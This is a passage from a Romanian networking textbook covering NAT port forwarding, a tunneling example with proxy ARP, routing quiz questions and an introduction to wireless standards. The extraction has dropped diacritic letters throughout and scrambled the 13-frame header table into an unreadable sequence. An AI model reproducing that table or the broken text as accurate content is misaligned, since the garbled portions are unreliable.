4-16: ncapsularea pachetelor n reeaua dat, pentru cele dou reele cu switchuri s-au folosit adrese private, astfel R1 i R3 vor asigura translatare de adres cu suprancrcare (PAT). Se va considera c tabelele ARP din reea au fost configurate static pentru toate destinaiile. Descriei antetele pachetelor aprute n reea n cazul n care A face o singur cerere HTTP ctre staia E. Rezolvare: Pentru topologia de mai sus principala problem o reprezint asigurarea accesibilitii staiei E din exteriorul reelei private. Dac ar fi fost disponibil un rezervor de adrese publice pentru a realiza translatarea de adres, soluia ar fi fost implementarea SNAT (static NAT): definirea unei asocieri de translatare pe routerul R3 ntre una dintre adresele publice din rezervor i adresa privat a lui E. Pentru problema de fa, nu dispunem de adrese publice suplimentare, translatarea fiind realizat prin suprancrcarea adresei publice <R3, e0>. Routerul R3 asigur translatarea cu suprancrcare, singura opiune n acest caz fiind implementarea port forwarding, adic crearea pe R3 a unei asocieri ntre perechea adres public a lui R3, port i perechea adres privat a lui E i port. Spre exemplu, dac se dorete rularea unui serviciu de web pe staia E, n serviciul de nume va fi publicat asocierea dintre numele domeniului (fie acesta www.test.com) i adresa public a lui R3 (adic IP R3(e0)). Apoi este definit pe R3 asocierea de translatare: <IP R3(e0), 80> <IP E, 80>. n acest moment, orice cerere primit de R3 pe portul 80 nu va mai fi trecut ctre nivelul aplicaie (inclusiv routerul ar putea rula un server de web local), ci va fi translatat i trimis ctre staia E. Revenind la problema de fa, datorit populrii statice a tabelelor ARP pentru toate destinaiile nu vor mai exista pachete de cerere/rspuns ARP. Popularea static a tabelelor

158 | R e e l e L o c a l e

ARP este folosit n practic doar ca o metod de prevenire a unor atacuri *vezi cap 13+ *ref+, dar datorit scalabilitii greoaie este rareori implementat. Se presupune c n reea este folosit default gateway. Switchurile vor comuta pachetele fr a le altera, n vreme ce fiecare router va opera cel puin schimbarea antetului de nivel 2; astfel pachetul de la A la E va suferi 3 rescrieri. 1. Pachetul trimis de A ctre E (adic n afara reelei locale) va fi destinat la nivel 2 routerului de ieire, iar la nivel 3 adresei obinute n urma rezolvrii de nume, adic adresei publice a lui R3. Pachetul fiind unul de cerere HTTP portul destinaie va fi 80:
MAC[A] MAC[R1(e0)] IP[R3(e0)] IP[A] 80 9494 date

2. Pachetul ajuns pe R1 va fi translatat, astfel c pe lng rescrierea antetului de nivel 2, se vor rescrie cmpurile surs de nivel 3 i 4:
FFFF:FFFF:FFFF IP[R3(e0)] IP[R1(s0)] 80 43911 date

3. Ruterul R2 nu va realiza dect rescrierea antetului de nivel 2:


MAC[R3(e0)] MAC[R2(e0)] IP[R3(e0)] IP[R1(s0)] 80 43911 date

4. Ruterul R3 va realiza operaia efectiv de port forwarding:


MAC[E] MAC[R3(e2)] IP[E)] IP[R1(s0)] 80 13821 date

Implementarea port forwarding nu impune conservarea portului destinaie, altfel spus staia E poate rula serverul de web pe orice alt port, iar translatarea va reflecta asocierea. Dac serverul de web ar fi fost configurat s asculte pe portul 999 singura modificare fa de analiza de mai sus ar fi definirea translatrii pe R3 (<IP R3(e0), 80> <IP E, 999>) i antetul pachetului 4:
MAC[E] MAC[R3(e2)] IP[E)] IP[R1(s0)] 999 13821 date

4.8.2 ncapsularea pachetelor: exemplu de tunelare


Fie topologia din figur:

4-17: Exemplu de tunel

159 | R u t a r e a n I n t e r n e t

Ruterul A va asigura translatarea de adrese pentru ntreaga reea 10.1.1.0/24, iar routerul B va tunela tot traficul din reeaua 201.9.4.0/24 i l va trimite prin interfaa sa virtual tunnel0. Tunelul este stabilit ntre 194.2.4.6 i 194.2.1.1. n plus, rutarea este asigurat folosind rute statice atfel: pe routerele A i D rutele sunt precizate prin adresa urmtorului hop, iar pe B i C rutele sunt precizare doar prin interfaa de ieire. Se consider c n urma unei pene de curent toate echipamentele sunt proaspt reiniializate. Staia X va accesa un server de web aflat pe staia Z. Care vor fi antetele tuturor cadrelor ce vor fi trimise n reea pentru a livra cererea emis de staia X la staia Z? Pachetul de cerere web va trece prin 5 reele i pentru a fi livrat vor generate 13 cadre: FFFF:FFFF:FFFF MAC[X] 10.1.1.1 10.1.1.12 Date MAC[X] MAC[A(e0)] FFFF:FFFF:FFFF MAC[A(e1)] MAC[B(e1)] FFFF:FFFF:FFFF MAC[B(e0)] MAC[C(e0/6)] FF FFFF:FFFF:FFFF MAC[D(e7)] MAC[Z] MAC[D(e7)] MAC[Z] MAC[D(e7)] MAC[A(e0)] MAC[X] MAC[A(e1)] MAC[B(e1)] MAC[A(e1)] MAC[B(e0)] MAC[C(e0/6)] MAC[B(e0)] 10.1.1.12 114.5.1.7 201.9.4.2 201.9.4.1 114.5.1.7 194.2.1.1 194.2.4.6 194.2.1.1 194.2.1.1 114.5.1.7 114.5.1.1 114.5.1.7 10.1.1.1 10.1.1.12 201.9.4.1 201.9.4.2 201.9.4.1 194.2.4.6 194.2.1.1 194.2.4.6 194.2.4.6 114.5.1.1 114.5.1.7 201.9.4.1 80 80 Date 55555 Date Date 51311 Date Date 114.5.1.7 201.9.4.1 114.5.1.7 201.9.4.1 Date Date Date Date Date Date Date

Dup primirea pachetului de date de la routerul A, routerul B trebuie s l trimit ctre ieirea din tunel, i anume ctre adresa 194.2.1.1. Routerul B nu tie ns adresa IP a urmtorului hop, ci doar interfaa de ieire prin care trebuie s trimit pachetul. De aceea, prin interfaa Ethernet0 va emite inocent o cerere ARP pentru a afla adresa fizic corespunztoare IP-ului 194.2.1.1. Routerul C, care ruleaz proxy ARP i d seama (prin verificare cu masca de reea) c adresa IP destinaie pentru care B caut adresa fizic nu se afl n aceeai reea i c cererea ARP nu va ajunge niciodat la 194.2.1.1, i de aceea i va ntoarce lui B un rspuns ARP n care minte c adresa MAC corespunztoare ip-ului 194.2.1.1 este chiar adresa MAC a interfeei sale pe care a primit cererea (i anume e0/6). Pachetul ajuns la C va conine adresele reale destinaie i surs ascunse n seciunea de date. Acest pachet va transmis pe legatura serial pstrnd ca adresa IP surs intrarea n tunel i adres IP destinaie ieirea din tunel (ca i cum C nu ar exista).

160 | R e e l e L o c a l e

ntrebri
1. Existena unei intrri n tabela de rutare de forma 141.85.37.0/24 141.85.254.37 nseamn: trimite toate pachetele venite din reeaua 141.85.37.0/24 ctre 141.85.254.37 trimite toate pachetele venite ctre reeaua 141.85.37.0/24 ctre 141.85.254.37 trimite toate pachetele venite din reeaua 141.85.37.0/24, sau din orice alt subreea cuprins n acest spaiu de adrese, ctre 141.85.254.37 trimite toate pachetele venite ctre reeaua 141.85.37.0/24, sau ctre orice alt subreea cuprins n acest spaiu de adrese, ctre 141.85.254.37 2. Decizia de a ruta sau nu un pachet se bazeaz pe: Adresa surs Adresa destinaie Adresa surs i portul surs Adresa destinaie i portul destinaie 3. Fie tabela de rutare de mai jos: Adres reea Masc Next hop Interfa 194.230.85.0 /26 172.17.0.9 E0 200.230.85.128 /26 S0 194.230.85.0 /24 194.230.5.65 E1 i o nou rut: 199.230.5.0/30 S1. Noua rut va fi inserat pe: prima poziie dup prima rut deja existent dup cea de a doua rut deja existent ultima poziie n tabela de rutare 4. Ctre ce interfa va fi rutat un pachet destinat pentru 171.15.68.0 dac tabela de rutare este cea de mai jos: Adres reea Masc Next hop Interfa 171.15.63.0 /24 172.17.0.9 S0 171.15.64.0 /23 S1 0.0.0.0 /0 194.230.5.65 S2 va fi trimis pe S0 va fi trimis pe S1 va fi trimis pe S2 nu va fi rutat 5. Fie dou routere. Primul are urmtoarele adrese asignate: 7.1.1.1/24 S0 i 7.1.3.1 S 1, al doilea 7.1.3.2/24 S0 i 7.1.2.1 S1. Care este numrul minim de rute ce trebuie adugat pe routerul 1 pentru a asigura comunicaia ntre 7.1.1.0/24 i 7.1.2.0/24? 7.1.2.1 / 24 S1 tot ce e mai sus plus: 7.1.2.1 /24 S0 tot ce e mai sus plus: 0.0.0.0 /0 S1 doar: 0.0.0.0 /0 S1

161 | R u t a r e a n I n t e r n e t

6. Care dintre urmtoarele descrie cel mai bine convergena reelei? cnd mesajele ating simultan un router i apare o coliziune cnd mai multe routere ruteaz simultan pachete pe aceeai cale cnd mai multe routere ntr-o reea au aceleai cunotine despre structura i topologia reelei cnd mai multe mesaje sunt trimise spre aceeai destinaie 7. Timpul cel mai redus de convergen l au: protocoalele de rutare static protocoale bazate pe vectori de distan protocoalele bazate pe starea conexiunii protocoalele de rutare inter-AS 8. Care este metrica folosit de RIP pentru determinarea cii optime? numrul de routere pn la destinaie ncrcarea limii de band limea de band pn la destinaie niciunul dintre rspunsurile de mai sus 9. Fie NET1, o reea direct conectat la un router. Acest router ruleaz RIP i OSPF i primete de la un router adiacent n cadrul procesului de actualizare informaii despre NET1, att prin RIP, ct i prin OSPF. Cte rute ctre NET1 vor fi n tabela de rutare la ncheierea procesului de actualizare? 0 1 2 3 10. Care este metrica folosit de BGP? numrul de routere pn la destinaie ncrcarea limii de band limea de band pn la destinaie niciunul dintre rspunsurile de mai sus

162 | R e e l e L o c a l e

5 Wireless
The wireless telegraph is not difficult to understand. The ordinary telegraph is like a very long cat. You pull the tail in New York, and it meows in Los Angeles. The wireless is the same, only without the cat.
Albert Einstein

Ce se nva din acest capitol?


Funcionarea tehnologiei wireless la nivel fizic Standardele wireless pentru reele locale Implementarea reelelor wireless Securitatea n mediul wireless Configurri pentru reele wireless n Linux Configurri pentru reele wireless n Windows

Cine este...
Nikola Tesla este un inventator i un om de tiin n domeniul electricitii. Mai muli biografi contemporani l consider pe Tesla omul care a inventat secolul 20. Patentele i descoperirile teoretice ale lui Tesla au format baza sistemelor de curent electric alternativ. n 1893 a demonstrat pentru prima oar posibilitatea comunicaiei fr fir (unde radio). Este considerat descoperitorul comunicaiei fr fir.

5.1 Introducere n reele wireless


5.1.1 Introducere n comunicarea wireless
Pe fondul unei nevoi de mobilitate i conectivitate din ce n ce mai crescute, comunicaia fr fir a nregistrat o explozie fulminant n ultimii ani. Rspndirea dispozitivelor mobile (calculatoare notebook, PDA-uri sau smartphone-uri) este cea care a condus n mare msur la dezvoltarea tehnologiilor de comunicaie fr fir, fr a fi ns singurul motor. Tendina de migrare spre digital pentru o gam din ce n ce mai larg de dispozitive genereaz de asemenea o nevoie de interconectare crescut. Pentru acestea, perspectiva comunicaiei fr fir este foarte atrgtoare. Motivele principale sunt mobilitatea crescut i reducerea costurilor pentru dezvoltarea infrastructurii. Dei n trecut securizarea unei reele wireless se dovedise a fi o provocare la care organizaiile de standardizare nc nu rspunseser, n prezent exist mai multe protocoale standardizate care pot oferi o securitate sporit. Cu toate acestea, tehnologia wireless nu are rolul s o nlocuiasc pe cea cu fir, ci mai degrab s o completeze. Motivul principal este limea de band: n timp ce Ethernet-ul a ajuns s ofere 10 Gbps, tehnologiile wireless actuale nu depesc 54 Mbps (600 Mbps n cazul tehnologiilor n curs de standardizare). n plus, datorit utilizrii switchurilor, tehnologia Ethernet asigur o comunicaie fullduplex. Cu alte cuvinte, dac zece staii cu plci Ethernet de 10 Mbps sunt conectate n acelai switch i switchul are o capacitate de comutare destul de mare, fiecare staie va putea avea garantat, banda de 10Mbps n reeaua local. De partea cealalt, standardul wireless permite unei singure staii s transmit la un moment dat. Aceasta este o limitare a mediului fizic i a proiectrii tehnologiei, deoarece, n reele wireless, un dispozitiv folosete aceeai frecvena a semnalului si pentru transmisie si pentru recepie. Este important de reinut faptul c n reele wireless, banda maxim se mparte la numrul de staii.

163 | W i r e l e s s

5.1.2 Considerente de nivel fizic

5.1.2.1 Mediul fizic


Baza fizic pentru comunicaia fr fir o reprezint undele electromagnetice, folosite n frecvenele cele mai potrivite pentru transmisii de date. Mediul fizic de propagare al undelor electromagnetice nu este de fapt necesar, cci un semnal wireless se poate propaga fr probleme i n vid (de aceea cldura i lumina soarelui ajung pe Pmnt). Cnd vorbim despre comunicaia de date, principala proprietate a undelor este frecven. Funcie de frecvena pe care o tehnologie funcioneaz, se poate determina calitatea semnalului n atmosfer, interferena cu alte dispozitive, distana de propagare a semnalului i chiar i limea de band. n figura de mai jos este reprezentat spectrul electromagnetic din punctul de vedere al utilizrii undelor de diverse frecvene n comunicaii:
3 KHz Unde Audio Unde radio 3 GHz 3 THz Infraroii 300 PHz 30 EHz Ultraviolete Raze X Raze Gama
Microunde

Lumin vizibil
430 T H z-750 T H z

5-1: Benzi de frecven Frecvenele folosite n reele de calculatoare pentru transmisiile wireless se afl n intervalele de 2.4 - 2.4835 GHz, 5,725 - 5,850 GHz i recent adugatul interval de 5.47 - 5.725 GHz. Deci undele electromagnetice prin care se propaga semnalul wireless n comunicaii de date, sunt unde radio de nalt frecven i microunde. n folosirea undelor electromagnetice pentru transmisii de date, trebuie avute n vedere urmtoarele considerente fizice:
Undele electromagnetice nu sunt clar delimitate din punct de vedere al propagrii, precum este semnalul de pe un cablu de cupru protejat de un izolator. Orice dispozitiv care ascult mediul i este n raza de propagare, poate recepiona semnalul wireless. Acesta este un considerent de securitate foarte important. Undele electromagnetice nu sunt protejate de semnale exterioare, precum este semnalul de pe un cablu de cupru protejat de un izolator. Odat cunoscut frecvena de transmisie a unei reele wireless, administratorul de reea trebuie s fie contient de alte dispozitive sau tehnologii ce funcioneaz n aceeai frecven. Semnalul wireless se atenueaz odat cu propagarea prin mediul fizic. Atenuarea poate interveni din mai multe cauze:
o o o o absorbirea semnalului n atmosfer efecte termodinamice cauzate de cldur sau umiditate sporit interferene cu alte semnale reflexia parial a semnalului pe suprafeele diferitelor materiale de construcie

Din considerente legale, nu se poate transmite n spectru pe o anumit frecven, fr a avea licen pe acea frecven. O reea wireless, ar fi greu de implementat att din punct de vedere birocratic, ct i din punct de vedere al propagrii n popularitate a tehnologiei, dac fiecare utilizator, atunci cnd i-ar cumpra un router wireless, ar trebui s plteasc i pentru licenierea unei benzi de frecven n care s transmit. n afar de acest aspect, frecvena

164 | R e e l e L o c a l e dispozitivelor wireless trebuie s fie aceeai n toat lumea reelelor de calculatoare, pentru ca tehnologia s fie compatibil.

5.1.2.2 Benzile ISM i UNII


Pentru a efectua o transmisie wireless este nevoie de licen din partea unei autoriti. Spre exemplu, statul romn a acordat licen postului de radio Europa FM s transmit n banda de 106,7 MHz pe teritoriul oraului Bucureti. Orange i Vodafone au licen pentru a efectua transmisii n benzile: 890 MHz 960 MHz respectiv 1710 MHz 1880 MHz. Exista totui o metod de a efectua transmisii fr licen: transmisia n una dintre benzile ISM (Industrial, Scientific and Medical) sau UNII (Unlicensed National Information Infrastructure). S-a czut de acord c la nivel internaional aceste benzi s nu fie liceniate, astfel nct s poat fi utilizate de oricine. Drept consecina, nu este nevoie de licen pentru a aciona telecomanda de la alarm, pentru a utiliza telefonul cordless, sau pentru a folosi un mouse sau o tastatur wireless. Toate acestea opereaz n una dintre benzile ISM sau UNII. Pentru a elimina necesitatea obinerii unei licene pentru utilizarea reelelor wireless, i acestea funcioneaz n aceste benzi. Exist dou benzi ISM de interes pentru tehnologia wireless: 2,4 GHz 2,4835 GHz i 5,725 GHz 5,850 GHz. Din 2004, odat cu standardul 802.11h, s-a adugat i banda UNII de 5.47 - 5.725 GHz. Aceasta nou band va fi discutat mai trziu n capitolul de comunicare wireless [5.1.6.3] Not: La nceputurile tehnologiei wireless, se folosea i frecvena de 900 MHz. ns, din cauza faptului c doar cteva ri utilizau ofereau posibilitatea de utilizare fr licen, banda a fost retras. Faptul c se lucreaz n benzile ISM aduce ns dup sine o constrngere: n aceste benzi este limitat legal posibilitatea de a transmite un semnal de putere mare. Scopul acestei msuri este de a limita distana maxim de transmisie n vederea reducerii interferenei ntre echipamentele diverilor utilizatori. Astfel, raza de funcionare a reelelor wireless este limitat prin lege.

5.1.2.3 Frecvena 2.4 GHz vs 5 GHz


De la apariia primelor tehnologii wireless, soluiile existente se mpreau ntre banda de 2.4 GHz i banda de 5 GHz. Fiecare dintre acestea ofer avantaje i dezavantaje de implementare i funcionalitate. Diferenele dintre benzi se reduc de fapt la diferenele ntre transmisiile n frecven nalt i cele n frecvena joas. n cele ce urmeaz, se va realiza o comparaie ntre cele dou i se va sfri prin a desemna banda cea mai utilizat n prezent i motivele din spatele adoptrii acesteia.
Distana de propagare

Undele de frecvena joas sunt absorbite foarte puin n atmosfer, de aceea ele pot strbate distane foarte mari. Cu ct crete frecvena unei unde, cu att aceasta este absorbit mai mult n atmosfer. De asemenea, undele joase prezint o capacitate de penetrare a materialelor foarte mare, fiind cu att mai potrivite pentru transmisiile de date. Spre deosebire de acestea, undele de frecvene mari tind s sufere reflexii i refracii pe diverse suprafee. Concluzionnd, dac se folosete banda de 2.4 GHz, absorbia n atmosfer o s fie mai mic, reflexia semnalului de asemenea, deci distana posibil de propagare o s fie mai mare.
Limea de band

165 | W i r e l e s s

Folosind o frecvena mai mare obinem o cretere aproximativ liniar a limii de band. Spre exemplu, folosirea benzii de 900 MHz oferea o band de 860 Kbps. Odat cu trecerea la 2.4, banda teoretic a ajuns la valoarea de 2 Mbps.
Interferene cu alte tehnologii

Din nefericire, banda de 2,4 GHz a ajuns s fie destul de aglomerat. n aceast band opereaz Bluetooth, perifericele wireless, telecomenzile i alte dispozitive cu care vor aprea inevitabil interferene. Banda de 5 GHz este destul de puin ocupat ns dezavantajul este absorbia mai mare a semnalului n mediul fizic.
Costul echipamentelor

Costul echipamentelor ce funcioneaz in banda de 5 GHz sunt sensibil mai scumpe dect cele din banda de 2.4 GHz. Acesta a fost i unul din motivele pentru care tehnologia de 2.4 GHz a ctigat teren pe piaa wireless.
Tabelul de mai jos sintetizeaz proprietile undelor, prezentate pn acum:

Criteriu/Frecven Distan Lime de band Interferene Cost

Frecvene mici mare mic mari mic

Frecvene mari mic mare mici mare

5-2: Proprietile undelor electromagnetice Frecvena cel mai des utilizat n prezent n reelele de date este cea de 2.4 GHz. Dei mult mai aglomerat, aceasta s-a bucurat de mult suport din parte third-parties precum Centrino sau WI-FI Aliance. Componenta de business a monopolului benzii de 2.4 GHz va fi discutat n urmtoare seciune.

5.1.3 Standarde pentru reele locale (WLANs)

5.1.3.1 Standardul 802.11b


Lansat n 1999, 802.11b este al doilea protocol ca i popularitate n zilele noastre. Opereaz n banda ISM de 2,4 GHz i atinge o band de 11 Mbps. 802.11b este performerul la capitolul raz a reelei: pentru c opereaz la o frecven mic, aceasta poate ajunge la cteva sute de metri i penetra pn la 4-5 perei de beton folosind echipamente convenionale. La capitolul interoperabilitate cu alte standarde, un echipament 802.11b poate comunica cu unul 802.11g, dar nu cu unul 802.11a. Dei acest standard a aprut odat cu 802.11a, a reuit s se impun prin preurile echipamentelor mai sczute i prin suportul pe care l-a primit din partea Wi-Fi Alliance1. La apariia 802.11b, organizaia a realizat un nou brand pe care l-a popularizat i l-a promovat, oferind standardului numele de Wi-Fi. De asemenea au fost create i stickere speciale care indicau dac un dispozitiv este sau nu compatibil cu acest standard. Dezavantajul major ine, ns, de band: 11 Mbps este destul de puin i, revenind la discuia cu banda real ce se mparte ntre staii, se poate spune c 802.11b nu se preteaz la reele mai mari.
Wi-Fi Alliance este un consoriu format din peste 300 dintre cele mai mari companii din domeniul IT, avnd ca scop promovarea i dezvoltarea tehnologiilor wireless.
1

166 | R e e l e L o c a l e

Se mai folosete 802.11b? n general, astzi, nu prea mai exist pe pia echipamente exclusiv 802.11b ci doar 802.11b/g. Mai poate fi ns folosit de ctre dispozitive care au nevoie de acoperire mare i nu de lime de band. O serie de sisteme embedded intr n aceast ultim categorie.

5.1.3.2 Standardul 802.11a


Dei a aprut ca standard n acelai timp cu 802.11b, echipamentele 802.11a nu au aprut pe pia dect spre sfritul anului 2000. 802.11a este singurul din familia de protocoale WLAN, care opereaz n frecvena de 5 GHz, oferind o lungime de band de 54 Mbps. Pentru a putea oferi o vitez mai bun dect Wi-Fi la o frecven mai mare, standardul folosete o modulare avansat a undei purttoare de semnal, numit OFDM (Orthogonal Frequency Division Multiplexing). Prin intermediul acesteia, microundele se compun ntr-un mod nedestructiv n aer ocupnd mult mai eficient banda oferit de canalul fizic ntr-un interval msurat de timp. Crescnd cantitatea de informaie util pe secund, crete i limea de band pe care tehnologia o pune la dispoziie. Avantajele standardului 802.11a sunt, n primul rnd, limea de banda i lipsa interferenelor. Prile mai puin bune ale tehnologiei sunt tocmai urmarea faptului c se opereaz la frecvene foarte mari. La 5 GHz se afl microundele ce au o lungime de und de doar 6 cm. Astfel de unde se absorb foarte uor n aer i se reflect pe diverse suprafee, neputnd penetra uor materialele. O consecina interesant a acestei proprieti fizice, este folosirea acestui standard n medii n care se dorete o securitate sporit la nivel fizic. n general este destul de greu s se asigure controlul propagrii undelor electromagnetice, dar dac reeaua trebuie amplasat ntr-un amfiteatru n care suprafeele pereilor au un grad de reflexie mare, se prefer standardul 802.11a pentru o mai bun izolare a semnalului la nivelul ncperii.

5.1.3.3 Standardul 802.11g


Pn la apariia 802.11g, foarte mult lume folosea 802.11b. Lansat n 2002, 802.11g combin avantajele 802.11a (banda de 54 Mbps) cu avantajele 802.11b (raz mare de acoperire). Astfel, 802.11g opereaz n banda ISM de 2,4 Ghz i folosete OFDM pentru atingerea ratei de transfer de 54 Mbps. Succesul 802.11g s-a datorat i pstrrii compatibilitii cu 802.11b, tehnologia cea mai rspndit pn atunci. Toate echipamentele 802.11g sunt compatibile cu cele b. De fapt, acestea pot opera n ambele standarde. Astfel, s-a putut realiza o trecere comod de la b la g prin nlocuirea treptat a echipamentelor, fr a fi necesar o investiie mare ntr-un timp scurt. Spre deosebire de 802.11a, banda de 54 Mbps nu are un grad att de mare de constan datorit interferenelor mai mari din banda ISM de 2,4 GHz n raport cu cea de 5 GHz. ns frecvena mai mic permite pstrarea calitii semnalului pe distane mult mai mari, degradarea benzii de 54 Mbps fiind mult mai lent dect la 802.11a. Astzi, 802.11g este ctigtorul absolut n lupta ntre standarde.

5.1.3.4 Standardul 802.11n


Una din principalele probleme cu care se confrunt reelele wireless actuale este limea de band. Cea mai mare lime de band oferit de un standard WLAN este de 54 Mbps. Astfel, IEEE a creat n 2003 un grup de lucru pentru dezvoltarea unui proiect care s rezolve nevoile tot mai mari de vitez i stabilitate ale utilizatorilor. Aflat la versiunea 4.0 a draft-ului

167 | W i r e l e s s

proiectului, se ateapt ca noul standard s fie finalizat n decursul anului 2008, cel trziu 2009. Noul standard i propune s ofere o band de 600 Mbps i o raz de acoperire de 2-4 ori mai mare dect a standardelor actuale. n acelai timp, prin mrirea ratei de transfer i micorarea timpului de funcionare a dispozitivului, se va diminua consumul de energie. Pentru a crete performanele, standardul se bazeaz pe tehnologia MIMO (Multiple Input Multiple Output) care folosete un sistem de mai multe antene pentru transmisia i recepia datelor. O cerin important pentru noul standard este pstrarea compatibilitii cu standardele deja existente 802.11a/b/g. Astfel, un echipament 802.11n va putea funciona fie n banda de 2,4 GHz, fie n banda de 5 GHz. n ciuda faptului c standardul nu este deocamdat finalizat, o serie de productori au fost atrai de performanele teoretice oferite de noua tehnologie i au nceput deja s ofere produse bazate pe versiunea 4.0 ale specificaiilor temporare.

5.1.4 Wireless MAN


n reele locale, standardul wireless a fost foarte bine primit de ctre pia, cunoscnd o evoluie constant de-a lungul timpului. Din pcate, lucrurile nu stau deloc astfel n WAN/MAN. n general se presupune ca nu exist implementri de wireless MAN, sau c acestea exist, dar n numr foarte mic. De fapt exist multe soluii wireless MAN implementate, ns problema este c 95% din acestea sunt proprietare. Funcioneaz cu protocoale dezvoltate intern de ctre firmele ce dein reeaua i fiindc fiecare companie i dezvolt propriul set de reguli, bineneles c acestea nu pot s funcioneze (comunice) ntre ele. Singurul standard wireless dezvoltat pentru MAN este 802.16e, sau WiMAX (Worldwide Interoperability for Microwave Access). O conexiune Wireless MAN ofer o lime de band de pn la 70 Mbps n cazul WiMAX. Aria de acoperire a unei staii de baz este de pn la 50 km n mod teoretic. n mediul urban ns, este posibil o acoperire de 2-5 km pentru WiMAX Mobil. Trebuie s menionat faptul c vederea direct (LoS Line of Sight) ntre staia de baz i terminal nu este necesar. Dei exist posibilitatea utilizrii unor benzi neliceniate de genul celei de 5GHz, n general se folosesc frecvene liceniate pentru a putea avea control asupra spectrului. Pot fi folosite orice frecvene din intervalul 2-11 GHz (2-6 GHz n cazul WiMAX Mobil), ns instituiile de standardizare recomand folosirea benzilor de 2,3 GHz, 2,5 GHz sau 3,5 GHz pentru a putea avea o interoperabilitate a echipamentelor i, de aici, o scdere a preurilor. Un avantaj important al WiMAX este faptul c ofer suport pentru calitatea serviciilor (QoS - Quality of Service).

5.1.5 Implementarea reelelor wireless

5.1.5.1 Topologii wireless


WLAN-urile se clasific n dou tipuri din punct de vedere al topologiei:
Reele ad hoc Reele de tip infrastructur

168 | R e e l e L o c a l e

5-3: Reea ad hoc O reea ad hoc este echivalentul n Ethernet al unei reele full-mesh, n care fiecare staie este conectat prin interfaa wireless direct la celelalte staii. Cu alte cuvinte, traficul generat de o staie A, destinat unei staii B, trece direct de la A la B, fr un dispozitiv intermediar.

5-4: Reea infrastructur O reea de tip infrastructur presupune existena unui dispozitiv central care se ocup de managementul reelei wireless i prin care trec toate pachetele din reea n drumul lor de la surs, spre destinaie. Acest dispozitiv central poate fi un acces point sau un router wireless.

5.1.5.2 Echipamente wireless de interconectare


Access point-urile, sau mai pe scurt AP-urile, joac rolul de punct central de comunicaie ntr-o reea wireless. De asemenea, tot ele sunt cele ce interconecteaz reelele fr fir cu infrastructura wired. Ele dispun de o interfa wired pentru interconectarea la reeaua cu fir i una wireless pentru comunicaia cu staiile echipate cu interfee wireless. AP-urile pot fi vzute ca i huburile din reeaua Ethernet din punct de vedere al funcionalitii n reea. Un AP are dou funcii de nivel 2 importante:
Asocierea clienilor presupune includerea clienilor la nivel 2 n reeaua wireless.

169 | W i r e l e s s Autentificarea clienilor presupune verificarea identitii clienilor ce doresc s se conecteze la reea (n cazul n care se folosete un mecanism de securitate specific)

La prima vedere, conceptul de asociere de nivel 2 la o reea poate suna confuz. ntr-o reea unde protocolul de nivel 2 este Ethernet, nu exist conceptul de reea de nivel 2. ntr-o topologie 802.3, noiunea de reea exist doar la nivel superior, la nivel IP. ns, ntr-o reea wireless, conceptul de reea exist att la nivelul protocolului 802.11, ct i la nivelul protocolului de nivel 3. O reea wireless, este identificat la nivel 2, de un nume special, denumit n standard: SSID (Service Set Identifier). Dac un client dorete s se asocieze cu o reea wireless (termenul de asocierea se refer implicit la conectivitate de nivel 2), trebuie s cunoasc SSID-ul acestei reele. Majoritatea clienilor wireless permit scanarea mediului pentru a gsi SSID-ul reelelor la care se pot asocia. Dup ce o staie s-a asociat unei reele, se va face o cerere DHCP pentru a obine o adres IP. Rspunsul la aceast cerere va trebui sa vin fie de la un server DHCP dedicat aflat pe o staie n reea, fie direct de la AP (n cazul n care AP-ul are deja integrat un server DHCP). Routerele wireless sunt dispozitive care pot realiza n acelai timp funciile unui AP, unui switch de nivel 2 i unui router. Aceste echipamente sunt prevzute cu:
O anten wireless - pentru ndeplinirea funciilor de AP Unul sau mai multe porturi de LAN - aceste porturi sunt de fapt conectate ntr-un switch care se afl nuntrul routerului wireless, acesta fiind transparent pentru utilizatori. Porturile acestea sunt prezente pentru a putea oferi i funcionalitate de switch, ntr-o reea n care nu toate staiile au interfee wireless. ntre oricare dintre aceste porturi se face switching. Un port de WAN acest port este cel la care se leag conexiunea de la ISP. ntre acest port i oricare dintre porturile de LAN, se face rutare.

Bridge-urile seamn foarte bine cu access point-urile din punctul de vedere al arhitecturii hardware. Ele sunt folosite ns pentru interconectarea reelelor printr-o legtur wireless. Un exemplu tipic de utilizare a bridge-urilor este realizarea unei conexiuni ntre dou cldiri. Un bridge, asemeni unui AP, are o interfa wired i una wireless: cadrele ce vin pe una dintre interfee sunt transmise ctre cealalt, cu eventuala translaie ntre formatele cadrelor celor dou reele. De asemenea, un bridge poate decide s nu transmit mai departe un pachet n cazul n care tie c destinatarul se afl n reeaua din care a venit pachetul. Un bridge ns, nu permite asocierea nodurilor, de aceea, pentru a conecta mai multe staii dotate cu interfee wireless, este n continuare nevoie de un access point.

5.1.5.3 PoE (Power over Ethernet)


n implementarea unei reele wireless, amplasarea AP-ului este foarte important. Locul n care se monteaz dispozitivul central al reelei nu ar trebui s depind de nimic altceva n afar de acoperirea ct mai bun a locaiei. ns AP-ul nu este un dispozitiv pasiv, ci are nevoie de alimentare de la reeaua electric pentru a funciona. Din acest motiv, de multe ori AP-ul se instaleaz de fapt acolo unde exist alimentare i nu n locul din care ar oferi acoperire optim. Pentru a rezolva aceast problem, multe din switchurile din prezent ofer PoE (Power over Ethernet). Aceast tehnologie presupune transmiterea de curent electric pe aceleai fire pe care se face i transmisia de date. Ideea nu este una nou aceasta existnd implementat i n telefonie. Dei tensiunea oferit este doar de 48 V, aceasta este ndeajuns pentru dispozitive precum AP-urile sau telefoanele IP. n concluzie, folosind switchuri cu PoE, este de ajuns s se conecteze AP-urile la acestea cu un cablu UTP, i acestea vor fi n acelai timp alimentate i conectate la reea.

170 | R e e l e L o c a l e

Dac se dorete i mai mult minimizarea dependenei fa de reeaua electric, se poate conecta un UPS1 la switchul cu PoE, pstrnd astfel conectivitatea wireless n reeaua local i n momentul n care nu exist curent electric.

5.1.6 Comunicarea wireless

5.1.6.1 Formatul cadrului 802.11


Avnd n vedere c reelele wireless sunt cel mai adesea continuate prin reele Ethernet, unul din miturile false ale lumii reelelor de calculatoare este ca formatul cadrului este identic n ambele standarde. n realitate modul de funcionare i cerinele unei reele wireless, sunt destul de diferite de ceea ce presupune standardul Ethernet. n continuare se vor expune asemnrile dintre cele 2 formate, punndu-se accent pe cadrul 802.11.

